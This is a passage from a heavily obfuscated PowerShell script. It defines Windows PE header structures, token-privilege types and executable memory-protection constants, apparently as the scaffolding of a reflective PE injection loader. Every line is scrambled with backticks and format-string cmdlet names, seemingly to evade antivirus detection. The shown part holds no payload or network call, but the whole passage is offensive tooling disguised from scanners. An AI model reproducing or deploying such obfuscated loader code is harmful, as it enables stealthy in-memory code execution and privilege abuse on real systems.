(${T`yP`EbUI`Lder}."dEf`Inef`IeLd"('FileAlignment', [UInt32], 'Public'))."sE`T`oFfset"(36) | &("{0}{1}" -f'Out','-Null') |
|
(${typeB`U`ilder}."d`EFi`Nefi`eLd"('MajorOperatingSystemVersion', [UInt16], 'Public'))."Set`oFFs`et"(40) | &("{1}{0}{2}"-f'ut','O','-Null') |
|
(${T`YPe`BuIlDEr}."d`EfinE`FIelD"('MinorOperatingSystemVersion', [UInt16], 'Public'))."S`e`ToffseT"(42) | &("{1}{0}{2}"-f't','Ou','-Null') |
|
(${ty`pEbuI`L`der}."dEf`InEf`i`eld"('MajorImageVersion', [UInt16], 'Public'))."S`eToFf`sEt"(44) | &("{1}{2}{0}" -f 'll','Out-N','u') |
|
(${tY`pEBu`ILD`Er}."dEf`Ine`FIe`lD"('MinorImageVersion', [UInt16], 'Public'))."seTofF`s`eT"(46) | &("{2}{1}{0}" -f 'l','Nul','Out-') |
|
(${TypEB`Ui`LDeR}."d`EFi`NEfiELd"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TOfF`SET"(48) | &("{1}{0}{2}" -f'u','O','t-Null') |
|
(${TYp`ebu`iLdER}."deFINE`FIe`LD"('MinorSubsystemVersion', [UInt16], 'Public'))."se`TOFFs`et"(50) | &("{0}{2}{1}"-f 'Out','ll','-Nu') |
|
(${TY`peBu`Il`dER}."dE`Fin`EFiEld"('Win32VersionValue', [UInt32], 'Public'))."Seto`FF`S`ET"(52) | &("{1}{0}" -f'ull','Out-N') |
|
(${tyP`eb`UI`lDER}."dEF`IN`EF`IELD"('SizeOfImage', [UInt32], 'Public'))."S`ETOffSET"(56) | &("{1}{0}{2}"-f '-','Out','Null') |
|
(${t`Y`pebUIL`der}."deFiNE`F`Ield"('SizeOfHeaders', [UInt32], 'Public'))."S`EtOFfS`et"(60) | &("{2}{1}{0}" -f'l','-Nul','Out') |
|
(${T`YpeBu`iLDEr}."d`EfiNEfie`Ld"('CheckSum', [UInt32], 'Public'))."set`o`FfSEt"(64) | &("{1}{2}{0}"-f'-Null','Ou','t') |
|
(${t`yp`ebUIL`der}."de`FiN`efIeLD"('Subsystem', ${Su`Bs`Y`STE`mtYpe}, 'Public'))."S`etof`FSET"(68) | &("{0}{1}" -f'Out-N','ull') |
|
(${TY`Pe`BuILDeR}."DEfiN`E`F`Ield"('DllCharacteristics', ${dll`cHARa`cteR`is`TiC`Sty`pe}, 'Public'))."SEtOf`FSET"(70) | &("{0}{2}{1}"-f'Out-N','ll','u') |
|
(${TY`PEbUi`ldeR}."de`FiN`EFI`Eld"('SizeOfStackReserve', [UInt32], 'Public'))."s`etOf`F`sET"(72) | &("{0}{1}"-f'O','ut-Null') |
|
(${t`ypeBUild`eR}."D`EFInEFi`eLd"('SizeOfStackCommit', [UInt32], 'Public'))."se`TofFs`ET"(76) | &("{2}{1}{0}" -f'l','-Nul','Out') |
|
(${tY`pEbu`Ilder}."d`EFINefI`e`LD"('SizeOfHeapReserve', [UInt32], 'Public'))."s`EtOffset"(80) | &("{1}{0}"-f 'Null','Out-') |
|
(${T`Yp`eBuilDeR}."De`FinEf`ielD"('SizeOfHeapCommit', [UInt32], 'Public'))."s`etOf`FseT"(84) | &("{2}{1}{0}" -f 'll','u','Out-N') |
|
(${typ`E`BUi`lDeR}."Defi`NeFiE`lD"('LoaderFlags', [UInt32], 'Public'))."sE`TOf`FSET"(88) | &("{1}{0}"-f 'll','Out-Nu') |
|
(${Ty`peB`UIl`deR}."DefI`NeFIE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."sETOfF`SET"(92) | &("{1}{0}" -f'l','Out-Nul') |
|
(${T`ypebUil`der}."DEf`IN`EFIEld"('ExportTable', ${ImAgE_d`AtA`_`DIR`eCtOry}, 'Public'))."sEt`of`FSET"(96) | &("{2}{0}{1}" -f'Nu','ll','Out-') |
|
(${T`Yp`EB`Uilder}."dEfin`ef`iE`Ld"('ImportTable', ${imAgE`_dat`A_`dirE`cTORY}, 'Public'))."s`EtofFsEt"(104) | &("{2}{0}{1}"-f't','-Null','Ou') |
|
(${TYPEbU`il`Der}."dEf`iNEF`ielD"('ResourceTable', ${ima`G`e_dATA`_dire`CTO`Ry}, 'Public'))."SEt`o`F`FSET"(112) | &("{0}{1}"-f'O','ut-Null') |
|
(${tYpE`BuIL`dEr}."D`EfIn`eFiE`Ld"('ExceptionTable', ${IMage`_`dATA`_`diReCto`RY}, 'Public'))."SE`TOFfS`et"(120) | &("{1}{0}{2}"-f 'Nu','Out-','ll') |
|
(${TY`pE`BuIld`ER}."defiN`eFI`Eld"('CertificateTable', ${IMag`e_dAt`A`_DIrecTORY}, 'Public'))."seTOffs`eT"(128) | &("{2}{0}{1}"-f'u','ll','Out-N') |
|
(${TYP`EbUi`lD`eR}."dE`FI`NEf`iELd"('BaseRelocationTable', ${imAG`E`_d`A`TA_`DIR`eCtoRy}, 'Public'))."s`eTo`Ffset"(136) | &("{1}{2}{0}" -f 'Null','Out','-') |
|
(${TyP`eBUIld`Er}."defIn`e`Fi`eld"('Debug', ${I`MagE`_DAT`A_Di`REct`oRY}, 'Public'))."SETof`Fs`eT"(144) | &("{1}{2}{0}" -f'l','Out-','Nul') |
|
(${Typ`E`BuilDER}."D`efIN`efiELD"('Architecture', ${ImAge_`dat`A`_D`IREC`TOry}, 'Public'))."sET`ofF`set"(152) | &("{1}{0}{2}"-f'N','Out-','ull') |
|
(${tyPeB`UIl`dER}."D`eF`IneFi`Eld"('GlobalPtr', ${I`mA`Ge_`data`_D`iRECTOrY}, 'Public'))."SEto`F`FSet"(160) | &("{2}{0}{1}" -f'ut-Nu','ll','O') |
|
(${T`YPe`BuIlD`er}."dEf`I`N`EfiELD"('TLSTable', ${iMAg`E`_D`AT`A`_d`irECTory}, 'Public'))."Se`TOF`FseT"(168) | &("{1}{2}{0}" -f 'l','Out-Nu','l') |
|
(${t`Yp`Ebu`ILDeR}."D`eFI`NEF`IELd"('LoadConfigTable', ${i`m`AGE`_dAT`A_D`iReCtOrY}, 'Public'))."sE`TOFFsET"(176) | &("{2}{0}{1}"-f'l','l','Out-Nu') |
|
(${T`y`PeBUil`dER}."D`EFiNEfi`elD"('BoundImport', ${IMA`ge_DA`Ta`_dir`EC`T`orY}, 'Public'))."S`eto`FfsEt"(184) | &("{2}{1}{0}" -f'll','Nu','Out-') |
|
(${type`B`UIlD`Er}."dEfine`FI`ELD"('IAT', ${I`MAGe_dAta_D`I`REcTORY}, 'Public'))."Set`oF`FsEt"(192) | &("{0}{1}{2}"-f 'Out','-Nul','l') |
|
(${tY`pEb`UILDER}."DE`F`Ine`FiELD"('DelayImportDescriptor', ${I`MaGe_Da`TA`_dIrEc`TORy}, 'Public'))."setof`F`SEt"(200) | &("{1}{0}{2}" -f'-N','Out','ull') |
|
(${tY`PE`BuI`LdEr}."D`E`FIn`efiElD"('CLRRuntimeHeader', ${i`m`AG`E_Data_dirEC`Tory}, 'Public'))."sET`OffsET"(208) | &("{0}{1}"-f'Out-','Null') |
|
(${TY`PeBUiL`Der}."D`efin`efiEld"('Reserved', ${Im`AG`e`_D`A`T`A_dIRECToRY}, 'Public'))."SE`TOFF`set"(216) | &("{0}{1}"-f 'Out-Nu','ll') |
|
${IMage_`OP`TION`AL`_HEAdEr32} = ${T`Ypeb`UIL`Der}."CREA`TeT`YPe"() |
|
${WiN3`2t`yp`eS} | &("{0}{2}{1}" -f 'Add-M','mber','e') -MemberType ("{0}{1}{2}" -f'No','teProper','ty') -Name ("{1}{0}{4}{3}{5}{6}{2}" -f'A','IM','R32','OPTIO','GE_','NAL_','HEADE') -Value ${ImAgE`_OPtIOn`AL`_HEadEr`32} |
|
${aTT`Rib`Utes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${t`y`peb`UILDER} = ${MO`d`Ul`eb`UiLDEr}."de`FIN`ETypE"('IMAGE_NT_HEADERS64', ${atT`RIBu`TES}, [System.ValueType], 264) |
|
${TYPe`BuI`LD`ER}."De`FInEF`i`elD"('Signature', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O') |
|
${Ty`Peb`U`IldEr}."DeFi`N`e`FielD"('FileHeader', ${iMage`_FiLE_`He`Ad`ER}, 'Public') | &("{0}{2}{1}" -f'Out','l','-Nul') |
|
${TYPEb`U`IldER}."d`EFiNefI`eLD"('OptionalHeader', ${i`ma`gE_opTiO`N`Al_`hea`deR64}, 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u') |
|
${im`A`Ge_NT_`H`eAdeRs`64} = ${tYPE`B`UILDEr}."C`R`EAT`eTYPe"() |
|
${W`IN32`TyPeS} | &("{1}{2}{0}"-f '-Member','A','dd') -MemberType ("{0}{1}{3}{2}"-f 'No','tePro','erty','p') -Name ("{3}{1}{2}{4}{0}" -f 'S64','MAGE','_NT_HEAD','I','ER') -Value ${Im`Age_`NT`_HeadERS64} |
|
|
|
${A`TTR`IBUtEs} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${tY`p`ebU`ILDEr} = ${modU`lEbui`lDer}."D`Efi`NEtyPE"('IMAGE_NT_HEADERS32', ${AT`T`RiBUTeS}, [System.ValueType], 248) |
|
${t`ypebu`ilder}."dEFIN`eFi`elD"('Signature', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N') |
|
${T`YpeB`UiLdEr}."dEfin`E`FIeLD"('FileHeader', ${imag`e_FiL`e_hEad`Er}, 'Public') | &("{0}{1}{2}"-f'Out-','Nul','l') |
|
${tyPEB`Ui`ld`ER}."De`Fi`N`eFIElD"('OptionalHeader', ${imaGe_OPTi`ON`AL`_`HeadeR32}, 'Public') | &("{2}{0}{1}" -f'ul','l','Out-N') |
|
${Im`AGe`_nt`_hEadEr`s32} = ${t`YPebu`iL`DEr}."cR`EATeT`YpE"() |
|
${W`I`N32Types} | &("{1}{0}{2}" -f'-Me','Add','mber') -MemberType ("{3}{0}{1}{2}"-f 'r','opert','y','NoteP') -Name ("{4}{0}{3}{2}{1}"-f 'MA','2','S3','GE_NT_HEADER','I') -Value ${i`MAge_`Nt_heADE`RS`32} |
|
${a`TtrIBu`TeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${TyP`EBU`I`ldeR} = ${m`oDULEbuIl`der}."dEF`in`eTyPe"('IMAGE_DOS_HEADER', ${aTtrib`U`TEs}, [System.ValueType], 64) |
|
${tYPe`B`UilD`eR}."D`EFinE`FieLd"('e_magic', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','l','t-Nul') |
|
${T`ypEbui`LDER}."D`E`Fin`eFIeLd"('e_cblp', [UInt16], 'Public') | &("{1}{0}"-f 'll','Out-Nu') |
|
${TyPEb`UI`LD`Er}."defIneFi`e`ld"('e_cp', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l') |
|
${TY`pEb`UILD`eR}."DE`F`InEFIElD"('e_crlc', [UInt16], 'Public') | &("{1}{2}{0}" -f 'll','O','ut-Nu') |
|
${TYPEB`Uil`D`ER}."d`eF`inE`FiEld"('e_cparhdr', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou') |
|
${TyPE`B`UI`lDer}."d`E`FINEFiElD"('e_minalloc', [UInt16], 'Public') | &("{0}{1}" -f 'Out','-Null') |
|
${typE`BUilD`er}."De`FINEFi`Eld"('e_maxalloc', [UInt16], 'Public') | &("{0}{2}{1}"-f'Out-N','l','ul') |
|
${TYPeB`UI`lder}."DefIn`E`FieLD"('e_ss', [UInt16], 'Public') | &("{2}{1}{0}"-f'll','Nu','Out-') |
|
${t`YP`EBUil`deR}."dEF`iNeFiE`Ld"('e_sp', [UInt16], 'Public') | &("{2}{1}{0}"-f'l','t-Nul','Ou') |
|
${tyPEB`U`IlDer}."dEf`in`EfIELd"('e_csum', [UInt16], 'Public') | &("{0}{1}{2}" -f'O','ut-N','ull') |
|
${tYP`eb`UiLdER}."d`eFIN`eFi`Eld"('e_ip', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou') |
|
${ty`p`EBuI`LDer}."DEfIN`eFIe`lD"('e_cs', [UInt16], 'Public') | &("{2}{0}{1}"-f'ut-','Null','O') |
|
${tYpebUI`l`der}."d`eFIN`EfIEld"('e_lfarlc', [UInt16], 'Public') | &("{1}{2}{0}" -f'll','Out-N','u') |
|
${t`YPeb`UildER}."d`EfiNefie`ld"('e_ovno', [UInt16], 'Public') | &("{0}{1}"-f 'Ou','t-Null') |
|
${e_`ResFI`elD} = ${t`ypEBuIl`d`Er}."DEFin`efiE`Ld"('e_res', [UInt16[]], 'Public, HasFieldMarshal') |
|
${CONS`TRuc`ToRv`AlUe} = [System.Runtime.InteropServices.UnmanagedType]::"ByVAl`ARR`AY" |
|
${Fiel`daRr`AY} = @([System.Runtime.InteropServices.MarshalAsAttribute]."ge`T`FIeLd"('SizeConst')) |
|
${AttR`ibbu`iL`d`ER} = &('a') ("{0}{2}{8}{4}{9}{5}{6}{1}{10}{7}{3}"-f'Sys','.Cus','te','ibuteBuilder','e','io','n.Emit','Attr','m.Refl','ct','tom')(${co`NS`TrUCTO`R`InfO}, ${cONSt`R`Uc`To`RValue}, ${Fi`EldA`RraY}, @([Int32] 4)) |
|
${E`_REs`Fie`ld}."seTcUS`ToMatTRIb`U`TE"(${A`TTr`I`BBuiLd`eR}) |
|
${t`y`pE`BuilDEr}."de`F`I`NEfiElD"('e_oemid', [UInt16], 'Public') | &("{1}{0}{2}"-f'ul','Out-N','l') |
|
${t`YpEbu`i`lDEr}."d`E`FIn`EFiElD"('e_oeminfo', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','ll','t-Nu') |
|
${E_reS2`FI`ELD} = ${ty`pEbUI`lD`Er}."deFI`NEFi`elD"('e_res2', [UInt16[]], 'Public, HasFieldMarshal') |
|
${CO`NStRuctO`R`V`A`Lue} = [System.Runtime.InteropServices.UnmanagedType]::"BYVaL`A`RrAy" |
|
${attri`BB`UI`ldER} = &('a') ("{2}{1}{8}{3}{11}{10}{5}{4}{6}{0}{7}{9}" -f 'ut','m.Re','Syste','ction.Emit.Cus','tri','At','b','eBuilde','fle','r','om','t')(${c`O`N`struC`ToRInFo}, ${CoN`StR`U`ctOrva`Lue}, ${FI`el`dArR`AY}, @([Int32] 10)) |
|
${e_r`e`S2fIeLD}."sE`TC`UStomAttrIb`UTE"(${a`TtRi`BbUild`eR}) |
|
${TY`PEbU`iLD`eR}."deFin`e`FiELD"('e_lfanew', [Int32], 'Public') | &("{1}{2}{0}" -f 'Null','O','ut-') |
|
${I`MAGe`_`d`OS_Hea`dER} = ${t`YPeBu`iLD`Er}."cre`ATETy`pe"() |
|
${Wi`N`3`2typES} | &("{2}{0}{1}" -f 'dd-M','ember','A') -MemberType ("{2}{3}{1}{0}" -f'perty','o','Not','ePr') -Name ("{0}{4}{2}{1}{3}"-f 'IMA','D','A','ER','GE_DOS_HE') -Value ${iMA`Ge`_DoS_He`Ad`ER} |
|
${AtTrIb`UT`Es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${T`Y`pe`BuIlDer} = ${mODu`L`e`BUilder}."D`efinEt`y`Pe"('IMAGE_SECTION_HEADER', ${aTT`RI`B`UTES}, [System.ValueType], 40) |
|
${n`AMefIe`ld} = ${t`yPeBUiL`deR}."dEfIneFi`e`LD"('Name', [Char[]], 'Public, HasFieldMarshal') |
|
${C`OnST`RU`cTOr`V`ALUE} = [System.Runtime.InteropServices.UnmanagedType]::"by`VAL`ArRay" |
|
${a`TT`Ri`BBU`iLder} = &('a') ("{7}{3}{10}{2}{0}{8}{5}{6}{1}{4}{9}" -f 't.C','ibut','on.Emi','t','eBuil','sto','mAttr','Sys','u','der','em.Reflecti')(${COnstruc`T`o`Rin`FO}, ${co`Ns`TrucToRVaL`UE}, ${f`iEL`DARR`AY}, @([Int32] 8)) |
|
${nAm`eFIE`lD}."SE`TcUSTo`M`AT`TR`iBUtE"(${attR`IbBu`I`ldER}) |
|
${TYPEb`U`ilD`ER}."dEf`in`efIeLd"('VirtualSize', [UInt32], 'Public') | &("{0}{1}{2}" -f'Ou','t-N','ull') |
|
${tyP`eBUI`ldeR}."de`F`inEfIElD"('VirtualAddress', [UInt32], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul') |
|
${TY`PE`BuiL`dER}."D`e`FinEFIELd"('SizeOfRawData', [UInt32], 'Public') | &("{2}{1}{0}" -f'ull','ut-N','O') |
|
${T`ypEbu`I`LdeR}."DEfi`NEfi`eLd"('PointerToRawData', [UInt32], 'Public') | &("{1}{2}{0}" -f 'ull','Ou','t-N') |
|
${tYp`Eb`UilDEr}."dE`FI`NefIelD"('PointerToRelocations', [UInt32], 'Public') | &("{0}{1}{2}"-f'Out-N','u','ll') |
|
${ty`Peb`UIld`er}."De`F`INEFIE`ld"('PointerToLinenumbers', [UInt32], 'Public') | &("{0}{2}{1}"-f'Out-','l','Nul') |
|
${ty`p`e`BUiLdeR}."DEFINE`FI`e`lD"('NumberOfRelocations', [UInt16], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul') |
|
${tY`Pe`B`UIlDeR}."deFin`eFI`E`ld"('NumberOfLinenumbers', [UInt16], 'Public') | &("{0}{2}{1}"-f 'Out-','ll','Nu') |
|
${ty`P`eBu`iLdeR}."DefI`NEfiE`LD"('Characteristics', [UInt32], 'Public') | &("{1}{0}{2}"-f '-','Out','Null') |
|
${im`A`GE_`Sec`TIo`N_`hEADer} = ${T`YpeBUILd`eR}."cReatE`T`ypE"() |
|
${w`iN32T`yPeS} | &("{2}{0}{1}"-f'd','d-Member','A') -MemberType ("{0}{3}{2}{1}"-f 'N','perty','Pro','ote') -Name ("{1}{2}{3}{0}"-f 'HEADER','IMAGE_S','ECTION','_') -Value ${imaGE_S`e`CTiON_HE`AD`eR} |
|
${aTTR`IBut`es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${t`Yp`E`BUIlder} = ${mO`DuLEBu`ilDER}."DEF`i`NETY`PE"('IMAGE_BASE_RELOCATION', ${a`T`TRiBu`Tes}, [System.ValueType], 8) |
|
${TYPE`B`U`iLDER}."D`efiNE`FIELd"('VirtualAddress', [UInt32], 'Public') | &("{0}{1}"-f 'Out-Nu','ll') |
|
${T`YpeBu`IlDEr}."D`Ef`iNE`FieLd"('SizeOfBlock', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ll','ut-Nu') |
|
${Imag`e_BAS`e_`RelOCAT`Ion} = ${tyP`EBUiLd`ER}."C`R`eaTEtyPE"() |
|
${wI`N32TyP`ES} | &("{1}{2}{0}"-f'mber','A','dd-Me') -MemberType ("{3}{1}{0}{2}" -f'eProp','ot','erty','N') -Name ("{4}{1}{2}{3}{0}" -f'ATION','GE_BASE_','RELO','C','IMA') -Value ${iMA`Ge`_ba`SE_ReLOCAtI`oN} |
|
${ATt`R`IBUTes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${TYPeB`U`I`LDer} = ${moDULe`B`UILd`Er}."dEFIne`Ty`Pe"('IMAGE_IMPORT_DESCRIPTOR', ${at`TRI`BuTEs}, [System.ValueType], 20) |
|
${TYpe`B`Uild`er}."DE`FInEFI`ELd"('Characteristics', [UInt32], 'Public') | &("{2}{0}{1}"-f'ut-N','ull','O') |
|
${TYpEbu`I`lDeR}."dEfIn`EFI`E`lD"('TimeDateStamp', [UInt32], 'Public') | &("{0}{1}"-f 'Out-N','ull') |
|
${t`yPEBUilD`eR}."D`EFIn`EfIE`LD"('ForwarderChain', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ull','ut-N') |
|
${TY`PEbu`iL`dER}."DEF`InEFI`e`ld"('Name', [UInt32], 'Public') | &("{2}{0}{1}"-f 't-N','ull','Ou') |
|
${t`ypE`BUI`LDER}."dEF`i`NefiELD"('FirstThunk', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','-Null','t') |
|
${i`maGe_`imP`O`RT_D`eScriP`Tor} = ${TYp`E`BuIlD`eR}."Cr`e`ATEtyPE"() |
|
${WiN32T`Y`p`Es} | &("{0}{2}{1}" -f'Ad','er','d-Memb') -MemberType ("{3}{2}{1}{0}" -f 'rty','ope','r','NoteP') -Name ("{1}{0}{3}{2}" -f'GE_IMP','IMA','TOR','ORT_DESCRIP') -Value ${IMage`_i`MPORt_D`ESC`RiptOR} |
|
${aT`TrI`Bu`TES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${tYPe`Bu`ild`Er} = ${mO`dUL`e`BuiL`deR}."DEFiNeT`Y`pe"('IMAGE_EXPORT_DIRECTORY', ${a`TT`RIbUtES}, [System.ValueType], 40) |
|
${TyPebuI`l`d`Er}."deFIn`Ef`I`ELD"('Characteristics', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O') |
|
${tyPeB`UiL`d`Er}."d`eF`iNEField"('TimeDateStamp', [UInt32], 'Public') | &("{0}{2}{1}"-f 'Out-N','ll','u') |
|
${T`YPeb`UilD`er}."dEfi`Nefi`E`LD"('MajorVersion', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l') |
|
${t`yPEbUi`lD`er}."de`FiN`Ef`Ield"('MinorVersion', [UInt16], 'Public') | &("{2}{1}{0}" -f 'l','ul','Out-N') |
|
${tyPeB`UI`LdEr}."dE`F`INeFI`ELD"('Name', [UInt32], 'Public') | &("{0}{1}{2}"-f'O','ut-','Null') |
|
${T`YPE`BU`ildER}."d`eFIne`Fie`LD"('Base', [UInt32], 'Public') | &("{0}{1}{2}"-f 'Ou','t-N','ull') |
|
${Ty`pE`BuIld`er}."de`FiNEfi`eLD"('NumberOfFunctions', [UInt32], 'Public') | &("{2}{1}{0}" -f 'l','Nul','Out-') |
|
${T`Yp`Ebu`ILdeR}."DE`FiNeFie`LD"('NumberOfNames', [UInt32], 'Public') | &("{1}{0}{2}"-f'ut-N','O','ull') |
|
${ty`P`eBuiLD`Er}."DeFin`E`FIELd"('AddressOfFunctions', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','l','-Nul') |
|
${TYpE`BuI`lD`Er}."DEF`in`EFIeLd"('AddressOfNames', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','ull','-N') |
|
${TYpe`B`Uil`der}."DEFINEf`I`eLd"('AddressOfNameOrdinals', [UInt32], 'Public') | &("{2}{0}{1}" -f 'Nul','l','Out-') |
|
${im`A`G`E_`EXpORT_`diREctORy} = ${TYPE`B`UiLD`er}."crE`AT`ETypE"() |
|
${win3`2T`YPEs} | &("{1}{2}{0}" -f'd-Member','A','d') -MemberType ("{0}{1}{2}{3}" -f 'N','otePr','op','erty') -Name ("{0}{4}{5}{2}{1}{3}"-f'IMAGE_EXP','R','T_DIRECTO','Y','O','R') -Value ${I`Ma`G`E`_e`xP`Ort_`DIrEctORy} |
|
|
|
${ATt`Ri`Bu`Tes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${typeBuI`l`DeR} = ${MOd`UlE`B`UILDer}."DE`FI`N`EtyPE"('LUID', ${aT`TR`IbU`TeS}, [System.ValueType], 8) |
|
${t`y`peb`UiLDer}."de`F`iNeFiELd"('LowPart', [UInt32], 'Public') | &("{0}{1}{2}" -f'Out-','N','ull') |
|
${t`yPeBuiL`dER}."DefI`NeFIe`LD"('HighPart', [UInt32], 'Public') | &("{2}{0}{1}" -f '-','Null','Out') |
|
${l`UiD} = ${TYpebUiL`D`eR}."Cr`EAT`ETYpE"() |
|
${Win3`2TYP`eS} | &("{0}{1}{2}" -f'Ad','d-Me','mber') -MemberType ("{2}{1}{0}" -f'rty','ePrope','Not') -Name ("{0}{1}" -f 'LUI','D') -Value ${Lu`id} |
|
|
|
${At`Trib`Ut`ES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${ty`Peb`UiL`DeR} = ${m`od`ULEBUIlD`eR}."d`eF`IneTY`pE"('LUID_AND_ATTRIBUTES', ${A`T`TrIBuTeS}, [System.ValueType], 12) |
|
${tyPEb`U`iLdeR}."DE`F`i`NEFielD"('Luid', ${L`UID}, 'Public') | &("{2}{1}{0}"-f't-Null','u','O') |
|
${t`Y`PebUI`LDER}."deFIN`E`FIe`Ld"('Attributes', [UInt32], 'Public') | &("{1}{0}{2}" -f 'l','Out-Nu','l') |
|
${luiD`_`And_`A`Ttr`IbutEs} = ${TYPEBu`i`lDEr}."cREat`e`TYpE"() |
|
${W`In`32TypEs} | &("{2}{1}{0}" -f'-Member','d','Ad') -MemberType ("{0}{2}{1}" -f 'NoteP','ty','roper') -Name ("{0}{1}{2}{3}{4}" -f 'L','UID_AN','D','_ATTRI','BUTES') -Value ${LU`ID_AnD_atTR`IbU`TeS} |
|
|
|
${ATT`RI`Butes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
|
${t`yP`eBU`iLdeR} = ${MODu`Leb`UiLD`Er}."DeFinet`Y`pE"('TOKEN_PRIVILEGES', ${ATT`RIbU`Tes}, [System.ValueType], 16) |
|
${typEb`UI`L`DER}."de`FI`N`efIEld"('PrivilegeCount', [UInt32], 'Public') | &("{1}{0}{2}" -f'-N','Out','ull') |
|
${tYPEbu`I`l`Der}."DEF`I`N`EFiEld"('Privileges', ${LUID_a`N`D_aT`Tri`BUteS}, 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N') |
|
${t`oke`N_`PRivIlEgEs} = ${tYpeB`UIld`er}."C`R`eATETyPe"() |
|
${W`iN3`2typ`ES} | &("{2}{0}{1}"-f 'd-','Member','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','pert','o','NotePr') -Name ("{4}{2}{0}{1}{3}"-f'VI','LE','N_PRI','GES','TOKE') -Value ${t`ok`eN_p`RiviLe`G`eS} |
|
return ${WiN`32T`yP`Es} |
|
} |
|
Function Get-w`iN32`cOn`staNtS |
|
{ |
|
${W`i`N32CONSt`ANTs} = &('a') ("{3}{1}{0}{2}" -f'c','stem.Obje','t','Sy') |
|
|
|
${WIn3`2`cO`N`sTaNTs} | &("{0}{2}{1}"-f 'Add-M','mber','e') -MemberType ("{1}{3}{0}{2}" -f'ropert','Note','y','P') -Name ("{0}{1}{2}{3}" -f'MEM','_C','OMM','IT') -Value 0x00001000 |
|
${W`In32c`o`NstaNTS} | &("{0}{2}{1}"-f 'Add-M','er','emb') -MemberType ("{1}{2}{0}"-f 'perty','No','tePro') -Name ("{1}{2}{0}" -f'SERVE','MEM_','RE') -Value 0x00002000 |
|
${w`i`N3`2CON`StANts} | &("{2}{1}{0}" -f'r','embe','Add-M') -MemberType ("{0}{1}{2}"-f'NotePr','oper','ty') -Name ("{3}{1}{2}{0}"-f'CCESS','AGE_NO','A','P') -Value 0x01 |
|
${wIN`32CoN`sTa`NTs} | &("{2}{1}{0}" -f 'ber','dd-Mem','A') -MemberType ("{3}{0}{1}{2}"-f'roper','t','y','NoteP') -Name ("{1}{0}{2}" -f 'AGE_READO','P','NLY') -Value 0x02 |
|
${win`32c`o`NsTANTs} | &("{2}{1}{0}"-f 'ember','dd-M','A') -MemberType ("{1}{0}{2}"-f'Proper','Note','ty') -Name ("{0}{2}{3}{1}" -f'PAGE','E','_READ','WRIT') -Value 0x04 |
|
${Win3`2c`O`NsTAnts} | &("{2}{3}{1}{0}" -f 'er','emb','Add-','M') -MemberType ("{2}{0}{1}" -f'Propert','y','Note') -Name ("{2}{1}{0}" -f'Y','TECOP','PAGE_WRI') -Value 0x08 |
|
${Win32C`OnSTaN`Ts} | &("{1}{0}{2}" -f'e','Add-Memb','r') -MemberType ("{1}{2}{3}{0}" -f 'erty','N','ote','Prop') -Name ("{2}{0}{1}"-f 'AGE','_EXECUTE','P') -Value 0x10 |
|
${WI`N3`2ConstANTS} | &("{0}{2}{1}" -f 'A','er','dd-Memb') -MemberType ("{0}{3}{1}{2}" -f'N','te','Property','o') -Name ("{1}{0}{3}{2}{4}" -f'G','PA','XEC','E_E','UTE_READ') -Value 0x20 |
|
${wIn32C`ons`T`AN`Ts} | &("{0}{1}{2}" -f'Ad','d-Mem','ber') -MemberType ("{1}{2}{0}{3}"-f 'r','NoteProp','e','ty') -Name ("{3}{1}{0}{2}"-f 'CUT','XE','E_READWRITE','PAGE_E') -Value 0x40 |
|
${WI`N`32`CoNSt`ANTs} | &("{1}{0}{2}"-f '-Mem','Add','ber') -MemberType ("{0}{1}{2}" -f'Note','Pro','perty') -Name ("{2}{6}{0}{3}{1}{4}{5}" -f'E','E_WRI','PA','CUT','TECO','PY','GE_EX') -Value 0x80 |
|
${W`IN32`CON`s`TanTs} | &("{2}{1}{0}"-f'-Member','dd','A') -MemberType ("{2}{0}{1}{3}"-f 'ePr','ope','Not','rty') -Name ("{1}{0}{2}"-f'E_NO','PAG','CACHE') -Value 0x200 |
|
${W`in32co`Ns`TAntS} | &("{3}{1}{2}{0}" -f'mber','d-','Me','Ad') -MemberType ("{3}{0}{1}{2}"-f 'tePro','pe','rty','No') -Name ("{4}{2}{6}{5}{1}{0}{3}"-f '_A','ED','AG','BSOLUTE','IM','_BAS','E_REL') -Value 0 |
|
${WiN`32co`NsT`A`NtS} | &("{1}{0}{2}"-f 'Me','Add-','mber') -MemberType ("{0}{2}{1}"-f 'No','eProperty','t') -Name ("{1}{4}{2}{5}{3}{0}" -f 'GHLOW','I','AGE_','SED_HI','M','REL_BA') -Value 3 |
|
